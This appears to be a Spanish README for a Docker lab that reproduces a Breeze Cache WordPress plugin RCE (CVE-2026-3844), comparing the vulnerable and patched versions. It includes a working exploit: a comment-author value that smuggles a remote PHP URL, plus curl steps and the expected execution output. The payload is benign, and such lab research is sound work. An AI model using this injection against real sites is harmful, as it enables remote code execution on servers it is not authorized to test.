
Laboratorio Docker local para reproducir CVE-2026-3844, una carga arbitraria de archivos no autenticada que lleva a RCE en el plugin Breeze Cache de WordPress. Compara la versión vulnerable 2.4.4 con la parcheada 2.4.5 usando servicios aislados y un PoC de mínimo daño.
Laboratorio Docker local para reproducir y comparar el comportamiento de CVE-2026-3844 en el plugin Breeze Cache de WordPress.
Este repositorio demuestra el comportamiento vulnerable en Breeze Cache 2.4.4 y lo compara con el comportamiento corregido en Breeze Cache 2.4.5. El laboratorio utiliza dos servicios WordPress aislados, uno vulnerable y otro parcheado, además de un servidor de carga útil local dentro de la red Docker.
La prueba de concepto es intencionalmente de mínimo daño: no utiliza una webshell, no expone un parámetro de comando, no inicia una reverse shell y no requiere leer archivos del interior del contenedor. La prueba se basa en el comportamiento HTTP observable desde el host.
CVE-2026-3844 afecta al plugin Breeze Cache para WordPress hasta la versión 2.4.4 inclusive. La ruta de código vulnerable está relacionada con la funcionalidad de almacenamiento en caché local de Gravatar del plugin, específicamente el flujo fetch_gravatar_from_remote().
Cuando la opción de Breeze Almacenar archivos localmente - Gravatars está habilitada, las versiones vulnerables pueden obtener un archivo remoto controlado por un atacante y almacenarlo en un directorio de caché público accesible web. Si el archivo obtenido es PHP, el servidor web puede ejecutarlo cuando se solicita a través de HTTP.
Este laboratorio reproduce ese comportamiento localmente:
vuln: WordPress + Breeze Cache 2.4.4patched: WordPress + Breeze Cache 2.4.5payload: servidor de carga útil local solo para Dockersrcset controladaEl resultado esperado es:
http://127.0.0.1:8081 / Breeze 2.4.4 → prueba de que el PHP se almacena en caché y se ejecutahttp://127.0.0.1:8082 / Breeze 2.4.5 → prueba de que el PHP no se almacena en caché, ni es legible ni ejecutable.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Máquina host
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> servidor de carga útil local
Red Docker
│
├── vuln -> WordPress objetivo vulnerable
├── patched -> WordPress objetivo parcheado
├── vuln_db -> MariaDB para WordPress vulnerable
├── patched_db -> MariaDB para WordPress parcheado
└── payload -> servidor HTTP estático Python
Los contenedores WordPress obtienen la carga útil a través de la URL de la red Docker:
http://payload:9100/<archivo-carga>.php
El host verifica el resultado mediante solicitudes HTTP normales a los servicios WordPress.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally debe estar habilitadaEl comportamiento vulnerable solo es alcanzable cuando la caché local de Gravatar está habilitada. Esta opción está deshabilitada por defecto en instalaciones típicas, pero este laboratorio la habilita intencionalmente para reproducir la ruta de código vulnerable.
En Breeze Cache 2.4.4, el flujo de localización de Gravatar puede extraer una URL remota del HTML relacionado con el avatar y pasar esa URL a fetch_gravatar_from_remote().
La versión vulnerable carece de suficiente validación en torno al archivo remoto:
.phpEl archivo resultante se almacena en:
/wp-content/cache/breeze-extra/gravatars/
Cuando un archivo PHP se guarda allí y luego se solicita a través de Apache/PHP, el servidor lo ejecuta.
En Breeze Cache 2.4.5, el flujo parcheado agrega validación que evita que esta carga útil de laboratorio se almacene en caché como PHP ejecutable. En la reproducción local, el mismo disparador funciona contra 2.4.4 pero no expone el marcador de prueba contra 2.4.5.
Este laboratorio mantiene intencionalmente el servidor de carga útil local en lugar de usar un host de carga útil público.
download_url() de WordPress y la API HTTP de WordPress rechazan por defecto algunos nombres de host Docker privados y puertos no estándar. Los scripts de explotación públicos a menudo usan URLs de carga útil HTTPS públicas, que evitan esa restricción. Este laboratorio no hace eso.
Para mantener la reproducción completamente local, el script de semilla instala un pequeño helper de MU Plugin solo local que:
payload y payload.local80 y 9100Este helper no modifica el código fuente de Breeze. Tanto los servicios vulnerables como los parcheados usan versiones reales del plugin Breeze instaladas a través de WP-CLI.
El helper existe únicamente para hacer que el laboratorio Docker sea determinista y solo local.
Este repositorio está destinado únicamente a la investigación de seguridad local y la demostración de portafolio.
Medidas de seguridad:
localhost y servicios de red Dockercmd=La carga útil de la PoC imprime información benigna del entorno de ejecución de PHP:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<id del proceso>
host=<nombre de host del contenedor>
Esto demuestra el contexto de ejecución del código sin generar comandos de shell.
requestsInstalar la dependencia de Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt debe contener:
requests
Construir e iniciar el laboratorio:
docker compose down -v --remove-orphans
docker compose up -d --build
Verificar el estado de los servicios:
docker compose ps
Servicios esperados:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Verificar los registros de semilla:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Líneas de registro esperadas:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
Verificar la instalación de WordPress:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Verificar las versiones de Breeze:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Esperado:
2.4.4
2.4.5
Verificar la precondición vulnerable:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Esperado:
1
1
Verificar que WordPress puede obtener el servicio de carga útil local:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
Si proof-cve3844.php aún no existe, cree cualquier archivo temporal en payload/ o ejecute la PoC una vez.
Ejecutar contra el servicio vulnerable:
python3 poc/poc.py --base-url http://127.0.0.1:8081
Resultado vulnerable esperado:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Ejemplo de salida de prueba:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<nombre de host del contenedor>
Ejecutar contra el servicio parcheado:
python3 poc/poc.py --base-url http://127.0.0.1:8082
Resultado parcheado esperado:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
Una redirección como 301 Moved Permanently no se considera prueba. La PoC requiere que el marcador único aparezca en el cuerpo de la respuesta HTTP.
La PoC realiza el siguiente flujo solo local:
payload/.x srcset=http://payload:9100/<carga-única>.php
/wp-content/cache/breeze-extra/gravatars/<carga-única>.php
--keep-payload.La PoC no lee archivos del interior del contenedor de destino. La evidencia se recopila a través de HTTP desde el host.
Crear una carga útil manual:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Confirmar que el servidor de carga útil sirve el código fuente PHP como texto estático:
curl -i http://127.0.0.1:9100/manual-proof.php
Publicar un comentario en el servicio WordPress vulnerable:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Activar el procesamiento de Breeze renderizando la publicación a través del host de URL del sitio WordPress configurado:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Evidencia HTML esperada:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Solicitar el archivo PHP en caché:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Prueba vulnerable esperada:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<nombre de host del contenedor>
Verificar registros de carga útil:
docker compose logs --tail=50 payload
Esperado:
GET /manual-proof.php HTTP/1.1" 200
| Objetivo | Versión de Breeze | Resultado Esperado |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | La prueba PHP se obtiene, almacena en caché y es ejecutable |
http://127.0.0.1:8082 | 2.4.5 | El marcador de prueba PHP no se expone |
Detener y eliminar contenedores, redes y volúmenes:
docker compose down -v --remove-orphans
Eliminar los archivos de carga útil generados si es necesario:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Base de datos de Patchstack — Plugin Breeze Cache de WordPress <= 2.4.4 Subida de Archivos Arbitraria No Autenticada a través de fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Inteligencia de Amenazas de Wordfence — Breeze Cache <= 2.4.4 Subida de Archivos Arbitraria No Autenticada:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Blog de Wordfence — Cobertura de explotación activa para la vulnerabilidad de Breeze Cache:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Página del plugin Breeze Cache:
https://wordpress.org/plugins/breeze/
Descargas de plugins de WordPress utilizadas en este laboratorio:
Plugin Trac de WordPress — Referencia de código fuente de Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
Este proyecto es solo para investigación de seguridad local autorizada. No ejecute la PoC contra sistemas que no posea o para los que no tenga permiso explícito para probar.
Plugin Trac de WordPress — Referencia de código fuente parcheado de Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php